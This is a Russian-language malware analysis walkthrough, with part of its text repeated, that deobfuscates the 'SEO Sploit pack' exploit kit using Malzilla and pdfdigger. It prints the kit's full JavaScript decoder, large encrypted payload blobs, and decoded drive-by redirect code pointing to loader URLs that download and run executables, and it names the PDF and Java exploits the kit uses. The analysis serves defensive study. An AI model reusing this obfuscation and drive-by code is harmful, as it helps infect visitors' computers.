О том как расшифровывать сплойты писали многие...Вот и я решил написать на примере SEO Sploit pack, который был замечен на mdl...
Для работы нам понадобятся:
Malzilla
pdfdigger
Java decompiler
Домен с связкой hxxp://analiticterra.com/
Начнем изследования с User Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Открываем малзиллу вбиваем URL:hxxp://analiticterra.com/ и жмем Get- получаем что на подобии этого(сохраним его в 1.txt):

Cмотрим строчку :
а за ней document.write с вызовом функций BREASTSFUCKING.underanycircumstancesbuffer
Значит common.js отвечает за расшифровку ,подгружаем эго в малзилле и сохраняем ...(hxxp://analiticterra.com/js/common.js)
Получаем следующее:

копируем это и переходим на вкладку Decoder вставляем, жмем на кнопку Format code и видим уже что-то более понятное <_<
Теперь следует скопировать все что в document.write(); и встаить после скрипта common.js получим что-то такое:
Жмем Run script смотрим что Script compiled и как результат видим следующее:
Гм нас куда-то посилают???)) :blink:
(onmousemove="ieopen('hххp://analiticterra.com/mdac.php)
Ну что ж посмотрим куда...
Опять переходим на вкладку Download вбиваем URL:hxxp://analiticterra.com/mdac.php и жмем Get и получаем следующее(но побольше, сохраним эго в 2.txt )

Расшифровуем все тем же способом
Жмем Run script и получаем код сплоента mdac...
смотрим переменную:
Отсюда то и грузиться здоровенный файл(2,808,832 bytes).....(отчет вирустотала)
1/40-неплохо=/
Далее смотрим что через некотороее время нас опять куда-то посилают :huh1:
Опять по той самой схеме грузим,сохраняем(3.txt) расшировуем (pdfadmplay.txt)
Смотрим на расшифрованный код и видим :
Загружаем и сохраняем файлы(("files/chaohandsome.pdf","files/vanitybagfusty.pdf"))
Подгружаем konec.php (4.txt) и расшифровуем (konec.txt)
Смотрим на код(видим hххp://analiticterra.com/files/common.jar),качаем и сохраняем...
Таким же образом только под другим User-agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6
были сняти другие сплойты:
hххp://analiticterra.com/ffcollab.php (5.txt,ffcollab.txt)
hxxp://analiticterra.com/files/stupidbureaucrats.pdf
Осталось расшифровать pdf-ки и посмотреть на common.jar....
Начнем с pdf-для этого нам поможет pdfdigger...
Запускаем его командой:
И в папке с программой получаем текстовий файл открываем эго, и видим вывод данных через EVAL...(vanitybagfusty.pdf.1722204846.txt), копируем это и вставляем в малзиллу,жмем Run script, соглашаемся на замену eval и смотрим в окно результата... (vanitybagfusty.pdf.txt)

Видим что в соответствии с версией(var hmz=app.viewerVersion.toString();...) нам подбирают сплоент(util.printf,Collab.collectEmailInfo или Collab.getIcon)....
Ну что ж-стоит проанализировать шелл код (например этот - var YtbGXw=unescape() )...
Копируем значение переменной YtbGXw,переходим на вкладку Misc decoders. Вставляем текст, жмем на кнопку UC2 To Hex

Полученный результат копируем и переходим на вкладку Hex View. Там ПКМ , Paste as hex. Получаем текст, в конце которого видим строчку hххp://analiticterra.com/loadpdf.php(то же самое мы получим с других шелл-кодов). Отсюда грузится наш ехе.

Приступим к другим пдфкам(анализируем их аналогичным способом)

Видим что тут используют сплоит newPlayer() ,(линк -hххp://analiticterra.com/loadpdf.php?ids=AMPLayerPDF)

Ну и последний пдф файл
Тут получим аж 3 файла, но только в 1-м ЯС
Аналогично:

Тут используеться уязвимость u3d() ну и линк-(hххp://analiticterra.com/loadpdf.php?ids=UdPDF)

Ну и на последок нужно посмотреть на common.jar...
Но для начала посмотрим на расшифрованный раньше файл konec.txt
Видим, что в AppletX.class архива common.jar передаються 2 параметра
data-указывает откуда будут грузить файлы
сс-указывает на количество файлов,которые будут грузиться...
Откроем с помощью Java Decompiler наш common.jar

Принцип работы этого чуда примерно следующий:
Если data - hххp://analiticterra.com/loadjavad.php?page=1
и сс - 2 ,то с линка в параметре data загружаються в темповую директорию системи(и запускаються) 2 файла, которые получают рандомные названия...
Все файлы можна скачать тут:
ПС Надеюсь тут вы увидели что-то новое и интересное......
Для работы нам понадобятся:
Malzilla
pdfdigger
Java decompiler
Домен с связкой hxxp://analiticterra.com/
Начнем изследования с User Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Открываем малзиллу вбиваем URL:hxxp://analiticterra.com/ и жмем Get- получаем что на подобии этого(сохраним его в 1.txt):

Cмотрим строчку :
Код:
<script src="js/common.js" type="text/javascript"></script>
Значит common.js отвечает за расшифровку ,подгружаем эго в малзилле и сохраняем ...(hxxp://analiticterra.com/js/common.js)
Получаем следующее:

копируем это и переходим на вкладку Decoder вставляем, жмем на кнопку Format code и видим уже что-то более понятное <_<
Теперь следует скопировать все что в document.write(); и встаить после скрипта common.js получим что-то такое:
Код:
var BREASTSFUCKING=
{
encrypt:function(m,e,n)
{
m=BASE64.encode(m);
var asci=[],coded='';
for(var i=0;i<m.length;i+=3)
{
var tmpasci='1';
for(var h=0;h<3;h++)
{
if(i+h<m.length)
{
tmpstr=this.ord(m.charAt(i+h))-30;
if(tmpstr.length<2)tmpstr='0'+tmpstr;
}
else break;
tmpasci+=tmpstr;
}
asci.push(tmpasci+'1')
}
for(var k=0;k<asci.length;k++)
{
var resultmod=this.powmod(asci[k],e,n);
var chunk=resultmod.toString(16);
while(chunk.length<7)chunk='0'+chunk;
coded+=chunk
}
coded=coded.replace(new RegExp('^+|+$','g'),'');
return this.hexstr(coded)
}
,underanycircumstancesbuffer:function(c,d,n)
{
c=this.strhex©;
var decryptarray=[],deencrypt='',resultd='';
for(var i=0;i<c.length;i+=7)decryptarray.push(c.substr(i,7));
for(var u=0;u<decryptarray.length;u++)if(decryptarray[u]=='')decryptarray.splice(u,1);
for(var u=0;u<decryptarray.length;u++)
{
var resultmod=this.powmod(parseInt(decryptarray[u],16),d,n)+'';
deencrypt+=resultmod.substr(1,resultmod.length-2)
}
for(var u=0;u<deencrypt.length;u+=2)resultd+=this.chr(parseInt(deencrypt.substr(u,2),10)+30);
return BASE64.decode(resultd)
}
,ord:function(chr)
{
return ASCII.ord(chr)
}
,chr:function(num)
{
return ASCII.chr(num)
}
,mod:function(g,l)
{
return g-(l * Math.floor(g/l))
}
,powmod:function(base,exp,modulus)
{
var accum=1,i=0,basepow2=base;
while((exp>>i)>0)
{
if(((exp>>i)&1)==1)accum=this.mod((accum * basepow2),modulus);
basepow2=this.mod((basepow2 * basepow2),modulus);
i++
}
return accum
}
,hexstr:function(str)
{
return str;
var result='';
for(var i=0,len=str.length;i<len;i+=2)
{
var bte=parseInt(''+str.charAt(i)+str.charAt(i+1),16).toString(10);
result+=ASCII.chr(bte)
}
return result
}
,strhex:function(str)
{
return str;
var result='';
for(var i=0,len=str.length;i<len;i++)
{
var bte=ASCII.ord(str.charAt(i)).toString(16);
result+=bte.length==2?bte:'0'+bte;
}
return result
}
};
var ASCII=
{
translations:
{
js2php:
{
1026:128,1027:129,8218:130,1107:131,8222:132,8230:133,8224:134,8225:135,8364:136,8240:137,1033:138,8249:139,1034:140,1036:141,1035:142,1039:143,1106:144,8216:145,8217:146,8220:147,8221:148,8226:149,8211:150,8212:151,65533:152,8482:153,1113:154,8250:155,1114:156,1116:157,1115:158,1119:159,1038:161,1118:162,1032:163,1168:165,1025:168,1028:170,1031:175,1030:178,1110:179,1169:180,1105:184,8470:185,1108:186,1112:188,1029:189,1109:190,1111:191,1040:192,1041:193,1042:194,1043:195,1044:196,1045:197,1046:198,1047:199,1048:200,1049:201,1050:202,1051:203,1052:204,1053:205,1054:206,1055:207,1056:208,1057:209,1058:210,1059:211,1060:212,1061:213,1062:214,1063:215,1064:216,1065:217,1066:218,1067:219,1068:220,1069:221,1070:222,1071:223,1072:224,1073:225,1074:226,1075:227,1076:228,1077:229,1078:230,1079:231,1080:232,1081:233,1082:234,1083:235,1084:236,1085:237,1086:238,1087:239,1088:240,1089:241,1090:242,1091:243,1092:244,1093:245,1094:246,1095:247,1096:248,1097:249,1098:250,1099:251,1100:252,1101:253,1102:254,1103:255
}
,php2js:
{
128:1026,129:1027,130:8218,131:1107,132:8222,133:8230,134:8224,135:8225,136:8364,137:8240,138:1033,139:8249,140:1034,141:1036,142:1035,143:1039,144:1106,145:8216,146:8217,147:8220,148:8221,149:8226,150:8211,151:8212,152:65533,153:8482,154:1113,155:8250,156:1114,157:1116,158:1115,159:1119,161:1038,162:1118,163:1032,165:1168,168:1025,170:1028,175:1031,178:1030,179:1110,180:1169,184:1105,185:8470,186:1108,188:1112,189:1029,190:1109,191:1111,192:1040,193:1041,194:1042,195:1043,196:1044,197:1045,198:1046,199:1047,200:1048,201:1049,202:1050,203:1051,204:1052,205:1053,206:1054,207:1055,208:1056,209:1057,210:1058,211:1059,212:1060,213:1061,214:1062,215:1063,216:1064,217:1065,218:1066,219:1067,220:1068,221:1069,222:1070,223:1071,224:1072,225:1073,226:1074,227:1075,228:1076,229:1077,230:1078,231:1079,232:1080,233:1081,234:1082,235:1083,236:1084,237:1085,238:1086,239:1087,240:1088,241:1089,242:1090,243:1091,244:1092,245:1093,246:1094,247:1095,248:1096,249:1097,250:1098,251:1099,252:1100,253:1101,254:1102,255:1103
}
}
,ord:function(chr,dir)
{
dir=dir||'js2php';
if(!this.translations[dir])return null;
chr=chr.charCodeAt(0);
return(chr in this.translations[dir])?this.translations[dir][chr]:chr
}
,chr:function(ord,dir)
{
dir=dir||'php2js';
if(!this.translations[dir])return null;
ord=(ord in this.translations[dir])?this.translations[dir][ord]:ord;
return String.fromCharCode(ord)
}
};
var BASE64=
{
alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(input)
{
var output='',chr1,chr2,chr3,enc1,enc2,enc3,enc4,i=0;
while(i<input.length)
{
chr1=ASCII.ord(input.charAt(i++));
chr2=ASCII.ord(input.charAt(i++));
chr3=ASCII.ord(input.charAt(i++));
enc1=chr1>>2;
enc2=((chr1&3)<<4)|(chr2>>4);
enc3=((chr2&15)<<2)|(chr3>>6);
enc4=chr3&63;
if(isNaN(chr2))enc3=enc4=64;
else if(isNaN(chr3))enc4=64;
output=output+this.alphabet.charAt(enc1)+this.alphabet.charAt(enc2)+this.alphabet.charAt(enc3)+this.alphabet.charAt(enc4)
}
return output
}
,decode:function(input)
{
var output='',chr1,chr2,chr3,enc1,enc2,enc3,enc4,i=0;
input=input.replace(new RegExp('[^A-Za-z0-9+/=]','g'),'');
while(i<input.length)
{
enc1=this.alphabet.indexOf(input.charAt(i++));
enc2=this.alphabet.indexOf(input.charAt(i++));
enc3=this.alphabet.indexOf(input.charAt(i++));
enc4=this.alphabet.indexOf(input.charAt(i++));
chr1=(enc1<<2)|(enc2>>4);
chr2=((enc2 & 15)<<4)|(enc3>>2);
chr3=((enc3 & 3)<<6)|enc4;
output=output+ASCII.chr(chr1);
if(enc3!=64)output=output+ASCII.chr(chr2);
if(enc4!=64)output=output+ASCII.chr(chr3)
}
return output
}
}
document.write(BREASTSFUCKING.underanycircumstancesbuffer('03cafff01a4b5b0feeab708fdedc0f60763193f80f233f26620249ea0801df02613dee13b32321bad065115323f0e38a530b824f11e679a0297c2cf18db35a0c10b3b05610c4052336408282e814b5be724812a80e67cc80fd847a17cb32727d9e93058ba781e46677246340b087aa3806b210e297efcd044596922e47c3070744708041d813f6a1824259a102427561172c1e095ce9b27bc2b71b741470f8fe9819caede066d7c9270939d0371f8827dff8018c7569269cdc1152eeda18586e712a7ad5269cdc1152eeda18586e70d6bfa913224c60ea19fd004cd48295009c29d75ba1b16d99084b4200b9422a12843731d8f77505fc7f00558c111679c982673f341808d8c1428b990b719bf15354e5169767112d509710310a301a4b5b03a7cad0b3968821ca65a1b0edad10cd9861c84322142d4291d8f7750e08fbf17a5dd71cc52d825c168916c4f84179a64e27cdd5126f68b6255243d272bd9c0c58cc3025d52f1eceff80e9da7928d4c1708ce9080419c05079ce4a12f7b48299ea9c0bed19a03a83a403f147c21576cd04459ce0ab4ae412843731c1a242046670511990dc163fa0f11e7498198fda222e307b16db4c310e1e3d207b39d25705630324fff1a812b01b526770384b8e12f6e38142de39212b44c1a2a4b306eb3d0257778708aa7fc24073fd15c04dd142de390430b4e155e74e268d8ec261ed080bbdb9d199f0f6085cf8620a542028e808510894d62317f7f26c170e1344ba91eb73882434f5a11696cf060870d0098fb41e98d6d0e316130e86dbb27a065d1e8b42715475600f039f902d91b00c58cc3289bfca20b49111c90e2a09124e403b0d2303ab4a00dcf1a20c6ba8700aaf09148953e1204807','31849','44225063'));
Жмем Run script смотрим что Script compiled и как результат видим следующее:
Код:
<script>
function randomNumber(m,n)
{
m=parseInt(m);
n=parseInt(n);
return Math.floor(Math.random()*(n-m+1))+m;
}
</script>
<script>
function ieopen(url)
{
var fakeLink = document.createElement("a");
fakeLink.href = url;
document.body.appendChild(fakeLink);
fakeLink.click();
}
</script><body onload=setTimeout(onmousemove="ieopen('http://analiticterra.com/mdac.php')",randomNumber(100,200))></body>
Гм нас куда-то посилают???)) :blink:
(onmousemove="ieopen('hххp://analiticterra.com/mdac.php)
Ну что ж посмотрим куда...
Опять переходим на вкладку Download вбиваем URL:hxxp://analiticterra.com/mdac.php и жмем Get и получаем следующее(но побольше, сохраним эго в 2.txt )

Расшифровуем все тем же способом
Код:
var BREASTSFUCKING=
{
encrypt:function(m,e,n)
{
m=BASE64.encode(m);
var asci=[],coded='';
for(var i=0;i<m.length;i+=3)
{
var tmpasci='1';
for(var h=0;h<3;h++)
{
if(i+h<m.length)
{
tmpstr=this.ord(m.charAt(i+h))-30;
if(tmpstr.length<2)tmpstr='0'+tmpstr;
}
else break;
tmpasci+=tmpstr;
}
asci.push(tmpasci+'1')
}
for(var k=0;k<asci.length;k++)
{
var resultmod=this.powmod(asci[k],e,n);
var chunk=resultmod.toString(16);
while(chunk.length<7)chunk='0'+chunk;
coded+=chunk
}
coded=coded.replace(new RegExp('^+|+$','g'),'');
return this.hexstr(coded)
}
,underanycircumstancesbuffer:function(c,d,n)
{
c=this.strhex©;
var decryptarray=[],deencrypt='',resultd='';
for(var i=0;i<c.length;i+=7)decryptarray.push(c.substr(i,7));
for(var u=0;u<decryptarray.length;u++)if(decryptarray[u]=='')decryptarray.splice(u,1);
for(var u=0;u<decryptarray.length;u++)
{
var resultmod=this.powmod(parseInt(decryptarray[u],16),d,n)+'';
deencrypt+=resultmod.substr(1,resultmod.length-2)
}
for(var u=0;u<deencrypt.length;u+=2)resultd+=this.chr(parseInt(deencrypt.substr(u,2),10)+30);
return BASE64.decode(resultd)
}
,ord:function(chr)
{
return ASCII.ord(chr)
}
,chr:function(num)
{
return ASCII.chr(num)
}
,mod:function(g,l)
{
return g-(l * Math.floor(g/l))
}
,powmod:function(base,exp,modulus)
{
var accum=1,i=0,basepow2=base;
while((exp>>i)>0)
{
if(((exp>>i)&1)==1)accum=this.mod((accum * basepow2),modulus);
basepow2=this.mod((basepow2 * basepow2),modulus);
i++
}
return accum
}
,hexstr:function(str)
{
return str;
var result='';
for(var i=0,len=str.length;i<len;i+=2)
{
var bte=parseInt(''+str.charAt(i)+str.charAt(i+1),16).toString(10);
result+=ASCII.chr(bte)
}
return result
}
,strhex:function(str)
{
return str;
var result='';
for(var i=0,len=str.length;i<len;i++)
{
var bte=ASCII.ord(str.charAt(i)).toString(16);
result+=bte.length==2?bte:'0'+bte;
}
return result
}
};
var ASCII=
{
translations:
{
js2php:
{
1026:128,1027:129,8218:130,1107:131,8222:132,8230:133,8224:134,8225:135,8364:136,8240:137,1033:138,8249:139,1034:140,1036:141,1035:142,1039:143,1106:144,8216:145,8217:146,8220:147,8221:148,8226:149,8211:150,8212:151,65533:152,8482:153,1113:154,8250:155,1114:156,1116:157,1115:158,1119:159,1038:161,1118:162,1032:163,1168:165,1025:168,1028:170,1031:175,1030:178,1110:179,1169:180,1105:184,8470:185,1108:186,1112:188,1029:189,1109:190,1111:191,1040:192,1041:193,1042:194,1043:195,1044:196,1045:197,1046:198,1047:199,1048:200,1049:201,1050:202,1051:203,1052:204,1053:205,1054:206,1055:207,1056:208,1057:209,1058:210,1059:211,1060:212,1061:213,1062:214,1063:215,1064:216,1065:217,1066:218,1067:219,1068:220,1069:221,1070:222,1071:223,1072:224,1073:225,1074:226,1075:227,1076:228,1077:229,1078:230,1079:231,1080:232,1081:233,1082:234,1083:235,1084:236,1085:237,1086:238,1087:239,1088:240,1089:241,1090:242,1091:243,1092:244,1093:245,1094:246,1095:247,1096:248,1097:249,1098:250,1099:251,1100:252,1101:253,1102:254,1103:255
}
,php2js:
{
128:1026,129:1027,130:8218,131:1107,132:8222,133:8230,134:8224,135:8225,136:8364,137:8240,138:1033,139:8249,140:1034,141:1036,142:1035,143:1039,144:1106,145:8216,146:8217,147:8220,148:8221,149:8226,150:8211,151:8212,152:65533,153:8482,154:1113,155:8250,156:1114,157:1116,158:1115,159:1119,161:1038,162:1118,163:1032,165:1168,168:1025,170:1028,175:1031,178:1030,179:1110,180:1169,184:1105,185:8470,186:1108,188:1112,189:1029,190:1109,191:1111,192:1040,193:1041,194:1042,195:1043,196:1044,197:1045,198:1046,199:1047,200:1048,201:1049,202:1050,203:1051,204:1052,205:1053,206:1054,207:1055,208:1056,209:1057,210:1058,211:1059,212:1060,213:1061,214:1062,215:1063,216:1064,217:1065,218:1066,219:1067,220:1068,221:1069,222:1070,223:1071,224:1072,225:1073,226:1074,227:1075,228:1076,229:1077,230:1078,231:1079,232:1080,233:1081,234:1082,235:1083,236:1084,237:1085,238:1086,239:1087,240:1088,241:1089,242:1090,243:1091,244:1092,245:1093,246:1094,247:1095,248:1096,249:1097,250:1098,251:1099,252:1100,253:1101,254:1102,255:1103
}
}
,ord:function(chr,dir)
{
dir=dir||'js2php';
if(!this.translations[dir])return null;
chr=chr.charCodeAt(0);
return(chr in this.translations[dir])?this.translations[dir][chr]:chr
}
,chr:function(ord,dir)
{
dir=dir||'php2js';
if(!this.translations[dir])return null;
ord=(ord in this.translations[dir])?this.translations[dir][ord]:ord;
return String.fromCharCode(ord)
}
};
var BASE64=
{
alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(input)
{
var output='',chr1,chr2,chr3,enc1,enc2,enc3,enc4,i=0;
while(i<input.length)
{
chr1=ASCII.ord(input.charAt(i++));
chr2=ASCII.ord(input.charAt(i++));
chr3=ASCII.ord(input.charAt(i++));
enc1=chr1>>2;
enc2=((chr1&3)<<4)|(chr2>>4);
enc3=((chr2&15)<<2)|(chr3>>6);
enc4=chr3&63;
if(isNaN(chr2))enc3=enc4=64;
else if(isNaN(chr3))enc4=64;
output=output+this.alphabet.charAt(enc1)+this.alphabet.charAt(enc2)+this.alphabet.charAt(enc3)+this.alphabet.charAt(enc4)
}
return output
}
,decode:function(input)
{
var output='',chr1,chr2,chr3,enc1,enc2,enc3,enc4,i=0;
input=input.replace(new RegExp('[^A-Za-z0-9+/=]','g'),'');
while(i<input.length)
{
enc1=this.alphabet.indexOf(input.charAt(i++));
enc2=this.alphabet.indexOf(input.charAt(i++));
enc3=this.alphabet.indexOf(input.charAt(i++));
enc4=this.alphabet.indexOf(input.charAt(i++));
chr1=(enc1<<2)|(enc2>>4);
chr2=((enc2 & 15)<<4)|(enc3>>2);
chr3=((enc3 & 3)<<6)|enc4;
output=output+ASCII.chr(chr1);
if(enc3!=64)output=output+ASCII.chr(chr2);
if(enc4!=64)output=output+ASCII.chr(chr3)
}
return output
}
}
document.write(BREASTSFUCKING.underanycircumstancesbuffer('1ee208d177d5e90cf40931ccc1071f90bcd338122503a949a0f0ee410de4f5007dc50e16d19e6154093d0349eb913b2a3c22bb80825526cf0997e6c09a691124850a131be57e085edb223eb6bb0d1cd1a16bce94248d7f605ec4951ef47b612d5a222ca8dea28e705c010ceb30e51dda17a0a2b2ba83c8264db7a071d76529d37c30ac8f13243f7a9182e2322a363970698c66249216528dd62505f90b50adabd710d39c22e56b212d47d3a1b9474d344f0672e4113122686900f64b15052607232cc8c70ca2fc506ac4170832c4e1829d28006820c2cf27371bf5d0d2b17d79055952f1a3692119ac0e71ffaf5f29778da169af99334df7309c35b42f26b2208d086f04dbee21fa771e0f2390d2a00a8224a94f523070820c9d817277786211c31830a569ed1ff08931544e142dde9b605d4b2b1532cea03c21e426f404716b7de618a9a790f420052f03bd0024de081686a850e148ed0916c001829d28006820c2cf27371bf5d0d2b17d79055952f1a3692119ac0e71ffaf5f21d47bc35d027b02c38570f93eff041908414218042c33e531f50bd90acd3cf16265250acd2210c5f4ee1b7163201bb856300cea52fa7f0b045fd9513ce17a1b5546f13f3e521ea589f312584501ffa200e2678c23ea69d1e4693517ca4840615d160ffb80d34dc1b52b2c8d41d4769f1edbe4e2f0fdc23573103040760f1c0edfc064ae8f05449512ae2a940be58ab31b7c91232aa4c0a5ad2c1c5867915341fe0543a49031cf7f36710892baa52c1abbd900b48e18057496612e9744199abeb03ac2a122a24691a3692119ac0e71ffaf5f29778da169af99334df7309c35b42f26b2219c722509ca84206d38eb0d8918a049b78218f42b60bc008c0997e6c09a691124850a131be57e1c5f56e30345702e66f302e4113122686900f64b150e757222a0e2dd178f5a706f81461f995190cbaaa21072b40257f7772bec90d10cdfc53373dd11a261a41c2d5f705596e72b846d4201e69a0fbb6d5338994024bd2d810a00ef01459760f2a65929cc4580b6ebb432376600da36093612752172e63a23f7685233b44516c7a062a8b0611ac7b8936c16a114bde3b06ac4172933fdb355721e26085c3002a2161bf5d0d2b17d7911d3c45143e13d1d5c1f419a32951dd5a8027962b81480cca0aa60fa0de4f5027f7e2024c8bca3636a491ff08931544e1405da66506e1196214985e06931220ca3b6d046bf31147bdfa0bfa7cf2cccb7c0641ace1899dbb1a320db14bdda02af8caa16f191634a84770eeec2d31be57e1f080b306ac4172933fdb355721e0f8be93277786211c31830a569ed17fa60e100364c141154529f83d4266f0e0061386733ec6cd01a903b0a54b7410414a824628551b53c101dcfed703386b5087a0092678cde16d0cca36257d419c2bd3102f4c3279bd661c150342ecfc992de727b2500fda20b68b2147b7f02955cee146b5ce077bfdb3551a6c2880bb13105bc0290bd8d022b6d13693a380fd940534f2d89273aa9b30983ed336f34f1bd8efe01e9f881c36ddf1edbe4e0799fb50d37f5b2472ae60f10b1e248826117de6d616524d8096f80f0fe624a3478c5f1c4be5420b05ee2a77d903289edd27f3c2b1682a4e0aa88ec2e31f5123f73c9163bb302c2a7872768d2f09932c918fce05126e84422e3ca30a6285230d1f9207212c728bcaa01efa9390ff5ef9048c51831511d51dbd55021721ae277786211c31830a569ed17fa60e100364c2dcef5214b4c262db065a064a85d1dac9160ac52811f080b310abf271891b4807d487628420c42865403140200402081ae0d8918a30fbff90e4ed1c0741a221682a4e08d086f2e0728f0bc003e0aca7340abf7730916c001829d280820b931b76d2d10d39c22e56b212d47d3a335519d168450d110714612cfa39092193d33c13ee278f7c532a609c25f7c2e1807b1813aaced06876a72c3a9b632181981638f1b09fb9af251bd37201ca512db25742a7e1ee0f86ced29430462c9ee990acd3cf011482726f404716b7de618a9a792a00a8224a94f528a2bf61dcfed7115a138347bd3d1ca5de90b3b1fc194a247037a9e80a46c8a0fd47d2106ce1c092dd6402a5b2203186fe0ef3b120a9ea1700d8fdc0db499928592af200797334d2d221099b151959c780c499760a5ad2c1c5867915341fe1b13ce506d38eb0d8918a243a29422060d62f6c3760acd3cf27949d40877a25253bcf70d1d26506ac4170a917970d73ecd16f66841d42f4f166e648012bf1b0a54b741a6a1fd3573103348e0d4147bdfa07da99c0149ff617b2f80112d492345cbaf18bfb830e37925146b5ce285d16d0cd353614eb59c14d335a14903aa056f28c234ca9f11b1ae02d9a6f403cb98b05997be04eba4304366f115b1f612d4cdad16d0cca13a88572bc483c182e2320663dfa19d7bf105464e135edb9d05911503284063106dcb603db5ab212d32214f05c505d283a1c36ddf147bdfa2c9b3fd06a7a98159df9c0d1d12b0698c66249216528dd62505f90b50fa68e832b90560f5a75506f5c6e20e62eb26f40471ad846911f5656157d8150c899e108cc63d0dbdd16188c9b4090fd0d12131fc007706d10414a824628551e2f14903b63222d9a6f4199b81b116a9ac339423d1bd6a4e12981e002f31af031c10a01cc4e20435c05359c54310ecfe70c918dd30735942955e80319512032a1f80295a3180ce2f6e2e67ea335fc2102ba0d9e1770c072fb412b2419549219e77a17ae5bf157ac44284f4882e7e49615e406613dac112fcb4d51dcf1b908ca824283dd6c10bee9128519ce04a462b02dbfb91e68edc3574f4e0d2e54511c7d42000b0d4329fb490bdd48232b6b151e64bde117e2fa36270150cd0b6f1c180ae1fb7d952772f0525ea55a29feaa42b97b4e207d5eb0bc55262e6e0362d28f5f1f56ba520954a9176072b28580451a98b1e34921ac09a71291e93dd21770c0714de8771e68edc14bc90b0d3563014de8771077f9814bc90b20dd8e514de87720e63a70d6b518131ebdc13ee6a11060ab527ed5d4035187e02dbfb91e68edc14bc90b185f32914de877274dd9417f988c03c251414de87720e63a714bc90b20dd8e50ca314711b7ac831c044724814f21c7f9ef1f2152b215eee81a8110718c305631c623e1a0411b14fdfe4248fb35152cfda20312aa22d30cb25026b404da1b82a8aa7734539e90d983c23039119159d3030c3ebac002db94034cc60319cfbe0a55f9e26ab68c1abaf5c2dda631172a6e230610721ad848528831040fc97ce073dcd12b3ce5f34908481e7994526935e72b335d223ea69d220a88321836de1db15402c90bc1194069335e5d840f9c8d63548ccc01bb6f82a42cd62fee63318b4feb17bc9f8199e7232f91c9f02bf30c156840b1aae87913a8f4d103064e02574661dedb9c19f405e272f66e109ca9502dc2150c188dd21c14ba163f79e13de4a41c06cc823977f5359c54317c0e26292466f0aa50f227e007a22c3bf707f2d5125d8cb6352c2141e402561c415411fbabeb22381c10e67f3e14ad58209a5d2b0ffd1402e75069284f4882e7e49626b77f6358bbb9277df92154429d2eb48f0283dd6c211ac471df0ecd0555258351db44324ee903166d2c2e40d3613d7a6c1c63ba400c909d0bdd48232b6b1520b9e832fe8a961b2141c319cba1318d7581df0ecd0fe77cf0c4729d35cc7421d33876338a93e237e51732a1f80058ee3823704fe1691ae2176072b28580451658e85332062d0eb90251b53f230472ca3297a83f324ee900a042490bc36cd1e97aaf1077f98287197d3266f750cc464118e9c57037a1e8131ebdc1aff98b04792d40cd353600d21be0b92eda06b8135157a3ca336f0d81c0edfc1e9f44926c13cb105852113ee6a110414a824628550f77eff1aff98b1ba7fc5273aa9b0b73c4721974c514cb88a25ebdee264261123d5dba23c27123243a3620546781ea13e72bfd97f06e11961af4b46024048533e29bf04735071c36ddf1d9e0cd0bd78791cad02a115cab72fb386d180fc70056f28c1007e88306cd570f48c42258cf291e95ca307810b90ae6aba228dd5202af10d339423d1bd6a4e015f9a305e50e30a54b741849984182aad11a1353213ee6a100a1317207cad51c69af9012dd3921332020546ddc1c36ddf0c3752d10414a82462855148057019608991cfb3c131f179e10f5fc11c8b5db1af110220a8912101846f041d07931a823c28bcaa0037313e228c6072c48d7c207cad5204b19815cd199329d1ee25b9d1d204b198079845f213320203e40d91267aec09c6e5a0cc15b8273aa9b204b19814081db213320229fa2f50e2678c23ea69d1e4693517ca48402e98f11c72f4008d086f2fe5f2c2478f7b0a54b7415848df09ca84206d38eb0d8918a243a2942126a8e227019d0af6a5c0490d500f181b929356062bc10a933c97e7270acc103db5ab09dcef91d50f8434d4efd1ff2b252a330ea031d65806e11960b288a00975ac927962b80fc34ff01dd8282f7c2c711d59831a60d0117b99c532d443711749c432848a7175964928d6e1c16a1ec401a73291292b261d5522e2953a5f297474312790a624fffae2f590f420b9f7112fda98063fda735d027b3622a3220dd8e511b1ae02b0768e2de1e2d1c06cc82fb386d20b897a25cf9b6028aab92fb386d20b897a101d8e33451e7229fcc2923ed69224f41dd25d55d90663e960e7cb16329bb5d13cca972927c2822b019d10025370327c5804923561e9cff71c49b7d24ca69304190840239a8718c30560db690c2bc10a933c97e7118df9e26426110fbf1ab092f3ef2e1131b19a32951dd5a80322ec852de1e2d0da32212d4ce0e0cd140f','6475837','57468799'));
Жмем Run script и получаем код сплоента mdac...
смотрим переменную:
Код:
var eurl = 'hххp://analiticterra.com/newload.php?ids=MDAC';
1/40-неплохо=/
Далее смотрим что через некотороее время нас опять куда-то посилают :huh1:
Код:
setTimeout('location.href = "hххp://analiticterra.com/pdfadmnplay.php"', 2000);
Смотрим на расшифрованный код и видим :
Код:
....
setTimeout('location.href = "konec.php"', 2000);
....
window.onerror = myErrHandler;PDF("files/chaohandsome.pdf","files/vanitybagfusty.pdf");
Подгружаем konec.php (4.txt) и расшифровуем (konec.txt)
Смотрим на код(видим hххp://analiticterra.com/files/common.jar),качаем и сохраняем...
Таким же образом только под другим User-agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6
были сняти другие сплойты:
hххp://analiticterra.com/ffcollab.php (5.txt,ffcollab.txt)
hxxp://analiticterra.com/files/stupidbureaucrats.pdf
Осталось расшифровать pdf-ки и посмотреть на common.jar....
Начнем с pdf-для этого нам поможет pdfdigger...
Запускаем его командой:
Код:
pdfdigger.bat -f vanitybagfusty.pdf

Видим что в соответствии с версией(var hmz=app.viewerVersion.toString();...) нам подбирают сплоент(util.printf,Collab.collectEmailInfo или Collab.getIcon)....
Ну что ж-стоит проанализировать шелл код (например этот - var YtbGXw=unescape() )...
Копируем значение переменной YtbGXw,переходим на вкладку Misc decoders. Вставляем текст, жмем на кнопку UC2 To Hex

Полученный результат копируем и переходим на вкладку Hex View. Там ПКМ , Paste as hex. Получаем текст, в конце которого видим строчку hххp://analiticterra.com/loadpdf.php(то же самое мы получим с других шелл-кодов). Отсюда грузится наш ехе.

Приступим к другим пдфкам(анализируем их аналогичным способом)
Код:
pdfdigger.bat -f chaohandsome.pdf

